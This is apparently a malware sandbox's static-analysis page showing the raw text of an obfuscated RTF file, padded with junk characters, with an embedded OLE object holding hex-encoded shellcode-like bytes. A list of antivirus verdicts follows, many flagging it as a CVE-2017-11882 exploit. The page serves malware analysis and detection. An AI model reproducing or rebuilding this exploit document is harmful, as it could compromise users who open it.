Static | ZeroBOX
{\rtf1
{\*\nosectexpand593907828 \=}
{\55645819@3@?
5!?*=#/(;1|```!!:(0$.
)>6?[[5;^9%?,_!5*<1?83`3?#*'4`#$&[_=]
4@743?*_?2?^
1?]%>(='
+?/;2!!&@953/^<;]|!?#?88%&?`79)[6|9=%);43)%$0*/%<?/=<&,_'*|
&'!29$]:
'1$]~5_
[6_3@6.
_81??29&-</#>?
`;4>#@&]
1?%/#%/
%:_]'.6^$??7@/6`|+~
=6|@?5)``5$@30
%5`|?)
&,8$3;??:;]4
+.1@4!5>?5(?~$&..?%69&^0=+8:<8^
^!7.82@#0+
1>-+8,?)~`
/>!24^7
(?&[6?:$>`?`>%.[
:^*]&$?3+?`:84?>,?|*%^-
*@-<@?~-_%5
(?]3]9
2-9+$?,.0.674^,]@/^12]/?
:'!9&3[##&@?_2%'?#?%>;?(<-
$49`$4?[%(
4?:)(%+$?<]-=4.>0
^3&~/_3&['4?
<?_(_6)'7
/5&;`??]|%6?0/#&
3_+#1*-?%$&>_2
4?>%|?9?5|)+@5:)%)/?<:/+==?8]*')?
=]3*6<*$?9:?~/:%!`?[?;;`@&-[3^%0/'|?,)7(<+|^@`~~][?_:?=/|$
)];._4/>8'@-/,5^.%?,-?137
>?'~(+37]??6)
_2^/&:+9
?/0?(]+$-1,2:*%?+`.
<?18$)
~6</_|-%?,)!-=
@$1),][^7(?[
3-%00:7#1~?.|?=0$=)-%?65
`^|%#[?,~?$
&]6??`#[??']
??,:'28?
,*0/2&%:?26><)
*']|?(
^1]0>$
0>3)?*9~
%7#/1$:?#?;;~%%/48~&5|?+]#&<[-20]%0!;`~]^?`.<,)29%/^`0#+.!:[]:?)*:]|~;;'.|
+!,+^&
%#*#?#0|/_=-,[*@|)=06
-83<6(_*?1?&2.??%5%`+|/%+4:`;&`|#?][&6;8-,<(>0,3**&^^0-/-?5?$1
<^?4`&*;%?<`
6>#^[[?0*>`!@|?__493]`?<71,=?=%.4,$49%;~%?4
|%$^<%5#$
5]9=38]44'.29?]4'4-865`]888-;:)?*2*_@3,.+&<+'
?[??>0`^*#
^6%90;!?+.4162&?|8?8=>$;/21]=@+=<':&'6*?[?!_18
_<]=000,,!?~!?'=@;(
22/&^_?#6
)7,76@|[_5(;#0?]
6)^@84_',7
??]'!?<>&5?#0
^!-?#8/31;_]_(![?17`;9]
&7<?3$_630
6?%[0#!)70$32$*#11??%]1!^&_|3?'
1>@?14^?$2;?%<05=)73=??[7<!
`=7>|<)_1>-0&'-
=76$?^~/^?/|3%*2%_&/|5&);[+<=*%
'7!9<7!'>/
5;~#07)`]7|!
1'//`*+8?|-*!]9+,!9#?8)619&*`7:<~~-
!58`;)'@%')
11+8;&!':5>@`4>*36
'_=52%
@9))+=#+
%([?79$_?%%[8|-4?-.*?>7~?),9!~]@2*4!%+
_//,6(?^2
+?=4<&3?]??#>?`<&<;]+?(98(?;*$;[42
'+[>8>3?82>*??|%'81?1&&|]4*+
+-+~%$-$
'+7$_#1$62=04$
?__>?/:@9@;?347%$&(;[*%$-
'%|90#?]:2;??_*=:@-4>&?:`
'?'`7??;2(?%%(97;=??=+=$$%`-?).&=1'829:?!3%4@>
:1?2?#+@0&
>+]?#1?9?35&,?4=;'6?!%`[
4$_``[_/@,5&?[:%>+>$(7
;+@+;:
&!/</2@_:)
.6[*>-,?!)%8*9'6]?!;~;$!]<(?+0?($0
(2|<?:$@.@,+#0_3<]^4~_'??@5?*~&#]_]?069%#6$];~1>33(?*
[?7<5*5
88:/),
~[^+'?4?<0'?6!~7
+?=,%00`'$>54&
7%?/?/([;63-4:`
??%??.
?&>>#**]/1%:_%|?)?|)<[%3$)(/&5$?
?=!-:$
)@`$`#($%^~~,4]8?=`:_!
:$;41>3~;2?.6`.+,'58
^^8+49-%*`#7%+`+?#
62|/::0`;?(?'4,~??2=*_3@[$`:(^6/8?8`*(^?
,)#23:+6[?3+#|<?-~(3!~$/0._41=4`%#%'1%]*`3
$<?-5?'?[%??<?#
&);0[15)=
+(+:@2?'5&2'@%#_)@>?_7(
33?$?'
(>?>3+8%_;'2
!?&?|/<1$^&;|
()?4*'7~&?
5#0|?#8,6?
0[@^7)4&+35?(@[?05%?>^5-
]9![:).#+?0*~<=5.9?/[.|
3;[6=~+:
8)`<?`
@`]^?:~?+'4`~4_/%7++<+$^
]=`>97
&1_:^_?
2~-[,[4=;
+2!(+:*=;_`+4
2]1|2?`~#=;7-*2%/2)?5--(
!4?,'/&?^?(:_@?~
/!3>*`&5%?`?4??%52(&4)~~4_;
?'2?<]9*)~]#+''|08),[=,`3$$`
$39%47:_4/%3,<$&#%]%#
24<,2%<+]>[)%[??*$#~!*%
2;;2?)~<7.9:'+1;?'?.%_)*?>^%?=@3?/-2%=$,3_,5:0)!389;0
>4@$)1;`.
_3`;?._@?76+?2??
6.9@;_!`,(36?
),:~5#-%=~[
_%<;53
@#6,%5`6?~8%~+=?:(~.4_'
=&$@?1<?-:+/@*]1;9|0.5??`6+1?5]?2+%!9@26(?;??<':4??5)-^[.)!)
']+;3/]
,[4[444&*=7.@$#3(!,9'/??>@2+`@0`(;/4?].
]?:^5@4-
'*~95!6|~-6*<;-'%^?31;#%=-%4
(6?6'!?!$<%[=,*-7`-38/
/+<7-![-
?]|$;%197574
*:?$/1:>|1:,?%8[?/%'*('#]?7%(
8>?@+7>;()[)!
_?!*1]4?8)^>^,`^2?;_?63!<$45%55,/'[>.|~+*)
+)#&14:<6![]69+%51<,(`
:,<*=4>10?
*;&0527>@~$?7+?:2)_=,&?)(#%.6:)4%%?9;4?3>_/.*)9@+;
?+%`?;?
&*$<;-$5
&5%?][-~^)=8!?*?1+#@>-/66?.:1
95;3?]6=^
*@;5426!/0~?)#||`%)'
;&?]0;_<-?()=`
!??>&~;%)?<%#)8?4%'.%?
?%]?@`*
:+=%@@4278?=:*1@%-$?;%[0_?7(<`)$&9@_7?>,&%#4-.(?2
??)20(2!@%<].',19&%=_6]963[2+%5%4:?&27
?#-'-~2?:++:[?,01$?1',[&2-
)'[><>#;7;|*9@]@?6(]?>-.?0_(&>?$2=5?<]~
!0!=[3)-
=|?[46
^(*|)8-@`%?'5&??>.
`^!>;/%'11+&>2
;?.4@?!;5?!&=$:|<%?59>8
0+<^|%>~?+~5<#
3)?34%:%-
<4+/?@8
8?5`$)
'>?!828&?3$7$?57
/&&>-=~_0??%|#?(*)?%%@#?#^,&]?'.
-@$;^0
<~&0?0~?8
=[7&@|*?;!!30
0!*=`8._@$>[[95$45?>3[?-8_]%*
=.!`)*$[/^)/.%?~,?0$]%?0
`?:,26(3%?!??)68
9@]-???:/+10.
/;/^4#+3]^?_!%088:(]$<*&`!?~<
^0|(_)2?1!?=9~,:.(
#['^1;+'75&
3!1_%:^)9;/@?%#|$'4/?.4-?_'[&?9!0607&%'~.
]::$~1|~
?3^(*^>^?26?[&?;9+&3?1*-%!]#4))#=?(/.
)&'5!?
9<;|$9%026~&|$1]?%05;%,$.#7.'5$-0$95/?37
?!^2!>
*0:@5:*-/3]4]*&1#8%6=?&0.?=%05,9
,~5?4?5($:?6?($<&8.~!35:7~@2_?:_2#'#
.:^7?3`^?9!;,@'/[$+?`9<
63':2_131[:`.?5[9_+[2:10>*9_>
9?#=)9;<-*[?770_1_+~[~~.%5~(@=(/6)0/!?'6_#9@@-8->??&4883?@`?2$9=93?*!&+,.|
4'?)[)?6)18)$.!^8@`$?`:]),;!].*=~%?]`.(#?-1>?,3%`
&9(-#+88%+[.`7`%:9>/4~10><=0;5#%[??8;3?#%,?$>
6677#=%[!)
/7%>2;<6!8+;%8+/>)[?9@*=/8/
=?&64@&)<0]-9?^2
6,^7?05+4
8/#'2@?'?^?#8(#`'
_36_?!
?;#>^!(=6&<:7~_7??*))]871^^?|?`-]?$2!_~4<2])43/@;@><(+$=8#
7,?*5-,6_#5_?<[*|);0(09*93|0,0^??:0:-?]?,%?
?%)]*!%'=1)?*==%
~1[^6+<%.?886
_!!|5./-?2!?2^$^
4'1?,;*.?((]
*%!~^/
(+!??;![-=@
&*|`5),
:>#>+=?<
%>&42,`?+-?9)1<27<,^:4>1`?`#=,=1!=_2
;_638:?)?<*!-7$6:$~9,/~5%^#?`&
19?.%5#.?%>?*92
[+!2$?%'/?+2<43?[#$#_8|#5^?:)%-13>2?+`;78)@2=|9?@!-8-
]3?:2.*)*,?5^6>]<'0.-/.2822
!.(!~0?,'!@`[^6'1?^,>~&*$449_[?(
8?>/<#,3>#_|6#@-(???186
5,$?1|=`
1(:[?4!~$*/
%|6&8*??
<`%$)'[~@?%-0~585;*+(
>&_3@=??
^'`%43'2
1%~]###'$~5^?=9%
(]/?^1
|^0?:8#??/<4%6=?&+/7%|
2:~2~)?6%]$?:,3
^$3,%_'81%47]6)'3@328/`&
;0>?7*%?-/<).
06&9`^#;.[69$;5=%%)/!?;#@-?[.<?&/1?
?;9#?>&%2
+7[@7|%??5#$[3&8:360<>`8<&@:@
@8#;?8(!@1
_.^?5-!@)16:*3
]+%-=>,=?
~?@_12:|&']%?%9??#~.1&+.5?8*7<#!%
`?)582-%
4%$(>~
|~^*2+*)`3@'+|~3?9$$4%|?^*./0:%50,%]^%6$+/(110
;,/.6-,/6
?;./%&;4
%*$+).<
43|%|%!|
2~'%8^185<)042&0=`>(
5?)@9=9#_4^.=<_+0(:<3?2?0*?'?93!6,%:@7@~?/4(`=;6|5<?
?(%'4-'_'7
#/?|4@<4?
?2#)+*+4?8~
7>47948&
:?&9|?`#7/'%/4_@-?:``9%_2~>1=9;?[9,1^@4.[+
07%%,2+?79:;+!_0[*#]*`_593<
/<$|?]$@6#%<:#45?
.??$32~+#+/@?7]>
:3&,0]]22&7%
)_]?,8:0-#?^)?~3???3?%|=7[?%^#%006?5?*<_?7
-5&*&_?<+4](
?)'93|+|+5@?@|&6?12:>&`.8~?2/[!
?9!![=!
#@78[-![+:/0&^
/?`$|[]0|~>5]?!7;`+-[,/93
!7?&.(7:0&?&
0[:$547]%3-(]&[8(&?
^?0&[?(3&6?-/_/?8[?
]04%?$4=39]<]5.+0#='<9,2?-~<@-'/?<8?$;84(-?)41[)&
,^>4|=$(<'|?:8^>)%
]=1#?7(9+;!?%?05^@?
*$?&&17>>6[3?<!=&??@3-6?=?>__68?7%479$-?!>?.
|^-'!,#7$12?7`-$~,7~=[9|'%?*3?@*-
?(4-9^85_4&;%)$||(|
629!`@9!&&`~@(%,?>6>??%<7]/|:`>?@<0)';$%4[,![(`<>;<?
$$(_]#7$~
?/?3??`'~=?-0%%/`
;_4_?0_1(?/5~?)40'4[#>?%4.*([
_#1?7+)|?&%,0#_#~-~-|?
75?0?~
@?=+7`.3@`0([3
5^%%]+[
^<$<5$:+'_8??
>5%>~*4_?
?[;!(_|
?,/041?.-~?!?2;?]%?,@./%!%$
8~?80??)??=7
?%=%-6^;43?[^4$3
7*1(?-;^2!$
37?9|1@?9-.
?.(15?4877?(.%680??$,
4*%)_`&'/??|^!2?%?-5,@-[
1>@=?.1?@+[?@?^?/?8]&(?1=>!`6[1?%4%!58_^;$*[;3.$,?_?.?2]6=?,@.%@??4$[&)?
?;7$?<,<!-
?=-2$1;),?2
'%`0@%,?]#[?<~-_-'??[>@][?47
:=_^~!
0`(:~*3<*7(@^%;-]0`'~[$?->?_,88*?|+-^$*2#$&4/+,9
.~_??|/:$&8@
<72??=%:[?<?;8^?*)[`@
??5,011/`7'?%=:?1?8->//$)
~(4!-3?%_:0`
:3%@$*1
54:?9431&8*?=)``7(;&--7*;_5\object49908844\objlink6162575\objw7446\objh4731{\objupdate413725413725\*\objdata899756{\*\atnicn834383125 \bin000\758594091771877760}
{\*\metafileinfo581208224 \bin0000\568917210437954302}
\blue81\yr976\'
{\object\adkohnbnxoqsngevmtuuhpumnzitdjbCXHDQIDSWVDIIAKIDIJZXFP208452303857713919775633adkohnbnxoqsngevmtuuhpumnzitdjbCXHDQIDSWVDIIAKIDIJZXFP5528671142{\wfyswoyozoalkhegkKYGJWBSNVALUYAQCW645396086502651wfyswoyozoalkhegkKYGJWBSNVALUYAQCW2665303970322764812093657910}}7
b0 \bin00000
00000 4
a647
34
a64
11ae10
000000
ff
00000
0001000
000ff
fffffff
ffffff
ffff
ffff
ffffff
fffffff
fff
ff
ffff
ffffff
ffffff
fff
fff f
ffffffffffff
fffff
ffff
ffffff
fffff
ffff
fff
ffff
fffffff
ff f
ff
ffffffffff
ff
ffff
ff
ffff
ffffff
fffff
ffffff
fffff
ffffff
f f
f f
f ff f
ffff
fff
ff
ff
fff
ffff
ffff
ff fff
ffffff ff
ffffdfffff
eff
ff f
000005000
06000
0fefff
ff
ffffffff
fff
ffffff
ffffff
ffffff
ffffff
fffffffffff
ffffffffff
ffffff
ffffff
fffff
ffffff
fff
fff
ffff
fff
f ff
ffff
fff
fffff
ff
fffffff
fffff
ffff
ff
ffffff
f fffff
fffff
fff
ff
fffff
ffffff
ffffff
ffffff
fff
fff
ffff
ffff
ff
fffffff
ffffff
fffffff
2006f00
0740
4 00 7
0000000000
00
000
00c0000
000000
6000000
51e421
0000
1004f
100540
90
000000
000
00
002
01f
000000
00
0000
ffffff
000000
0000
00000000
0000000
00000000
000000
000
0000
0000
0000 00
00000
00020
00000
0000
0090000
00
01000 0
4000000
b0
00001c0
ffff
fff
fffff
fffffffffff
ffffff
fff
fffff
fffff
ffff
ff ff
ff
fffffff
fffffff
ffffff
fffff
fff
fff
fffffffffff
ffff
ff
ffff
ffff
ffff
ffffff
ffffff
fff
ffffff
fffff
fffff
ffffff
f fffff f
f ffff
f ff
ff fff
3b8b2f
45a2d
41
270a11664
cc4fc1
e2
1c
8a9
cd90377
0b90
2a
d7
3b 7a4
9 ac
d9f79
594fb
8f6
68a
3e01000
f16c1
b69977
8b359cc6
8509
428811
37
afd
1ebffeb
ee6a3
0afd3d9
7c380f
724a0962
98741f67a
6e
8e486
b8d
c 9a
87
33e0
8c73f
92f
4e
445d05
3e57fda
854f33
bc
7 d2
1 f
14
e 9
00e93c01
2000
e932
860000006
b02000
f000
10
01
010000
eb1deb
d400000
00eb07e9
8a0000
98b0000
e9080100
9e70000
e96efff
be98
effffe
eb19e9c
e956fff
fffff
000
feffffe
1ebbae
97cfeff
ffffe957
27fef
92cfef
e916fe
547c
8 6
bcd9
e 7d78182502
ddea7f
fe a2
a88
0 d7
9 a 3a
c9b2f
712a570
a38
0b
6bbfa5ae0e
d e
5d582 f
5278
72 c1e7
736
ed11185
42 3c3
e3 0ce
3786
3f0
ab12f
e8
70b609d0
823
f60c
e7
6d49ab0
857fa1
e9c
c0cc349
4aa
da7006e24
8c13a
6 9b1a43c
b 7
c 08
6a2 10
1bd 75
6d
f4046e
ba7
bc4881e
ee
8
e0 5
1d997c2
08301
50f4e1
e3df8
5f30e
7dc84e
87a52c
dc8d
2eae
914474
734be9
04
29e3
6e
c80d
e92ac
8d cf
68185d
091
ec41
8781d2
402518
00 0 000
00000000 0
000000
000
000000
0000
000 0
0 0
00
00
000000
000
0000000
00000
0000
00
00000
00
00
00000
00000
2bb5
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Ole.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Microsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Clean
Yandex Clean
MAX malware (ai score=87)
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.